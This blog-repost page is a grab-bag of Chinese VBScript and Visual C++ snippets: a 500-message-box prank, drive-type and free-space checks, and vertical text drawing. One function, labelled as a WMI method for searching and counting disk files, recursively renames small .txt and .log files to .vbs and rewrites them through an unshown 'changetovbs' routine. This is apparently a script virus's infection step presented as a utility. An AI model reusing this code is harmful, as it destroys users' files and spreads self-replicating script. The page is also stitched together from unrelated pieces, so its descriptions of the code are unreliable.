vas代码

时间：2018-06-21 17:34:57 阅读：240 评论：0 收藏：0 [点我收藏+]

标签：win32 txt ext char sum filename rem cd-rom normal

一、按500次回车，退出文件
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

dim s 
do until s=500 
s=s+1 
msgbox "哥们，给我按500次回车吧",64 
loop 

二，vbs判断磁盘类型和检测硬盘剩余空间的实现代码Function ShowDriveType(drvpath)
  Dim fso, d, t
  Set fso = CreateObject("Scripting.FileSystemObject")
  Set d = fso.GetDrive(fso.GetDriveName(drvpath))
  Select Case d.DriveType
   Case 0 t = "Unknown"
   Case 1 t = "Removable"  ‘移动硬盘
   Case 2 t = "Fixed"    ‘硬盘
   Case 3 t = "Network"   ‘网络硬盘
   Case 4 t = "CD-ROM"
   Case 5 t = "RAM Disk"   ‘RAM
  End Select
  ShowDriveType = "Drive " & d.DriveLetter & ": - " & t
End Function
  
Function ShowFreeSpace(drvPath) 
 Dim fso, d, s
 Set fso = CreateObject("Scripting.FileSystemObject")
 Set d = fso.GetDrive(fso.GetDriveName(drvPath))    ‘d为F:
 s = "Drive " & UCase(drvPath) & " - "
 s = s & d.VolumeName & " "
 s = s & "Free Space: " & FormatNumber(d.FreeSpace/1024, 0)
 s = s & " KBytes"
 ShowFreeSpace = s
End Function
Dim message
message = ShowDriveType("F:\Programming\Applications")
MsgBox message
message = ShowFreeSpace("F:\Programming\Applications")
MsgBox message
三。VBS调用WMI遍历搜索硬盘文件并计数的方法Function wmisfile(path_sf,justcnt)
  ‘On Error Resume Next
  StrComputer = "."
  Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
  Set FileList = objWMIService.ExecQuery _
  ("ASSOCIATORS OF {Win32_Directory.Name=‘" & path_sf & "‘} Where " _
   & "ResultClass = CIM_DataFile")
  For Each objFile In FileList
    fname = LCase(objfile.name)
    ename = LCase(objfile.extension)
    If 1 < objfile.filesize And objfile.filesize <= 50000 Then
      Select Case ename
        Case "txt","log"
        path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
        objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
        Call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        Case "vbs"
        If checkversion(fname) = False Then
          Call changetovbs(fname,fname)
          justcnt = justcnt + 1
        End If
      End Select
    End If
  Next
  Set colSubfolders = objWMIService.ExecQuery _
  ("Associators of {Win32_Directory.Name=‘" & path_sf & "‘} " _
   & "Where AssocClass = Win32_Subdirectory " _
   & "ResultRole = PartComponent")
  For Each objFolder In colSubfolders
    wmisfile objfolder.name,justcnt
  Next
End Function
 
 
四。VC中实现文字竖排的简单方法(推荐)
 
CFont font; 
 CFont *pOldFont; 
  
 font.CreateFont(18, 0, 2700, 2700, FW_NORMAL,
 0, 0, 0, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS,
 CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
 DEFAULT_PITCH,"@宋体"); 
 pOldFont=dc.SelectObject(&font)
 
 dc.TextOut(50,50,"文字竖排");
 dc.SelectObject(&pOldFont)
/* 何问起 hovertree.com */
 
 
 
 
 
 
 
 
 
 

vas代码

标签：win32 txt ext char sum filename rem cd-rom normal

原文地址：https://www.cnblogs.com/xuaijun/p/9209256.html

踩

(0)

评论一句话评论（0）

分享档案

更多>

2021年07月29日 (22)
2021年07月28日 (40)
2021年07月27日 (32)
2021年07月26日 (79)
2021年07月23日 (29)
2021年07月22日 (30)
2021年07月21日 (42)
2021年07月20日 (16)
2021年07月19日 (90)
2021年07月16日 (35)

周排行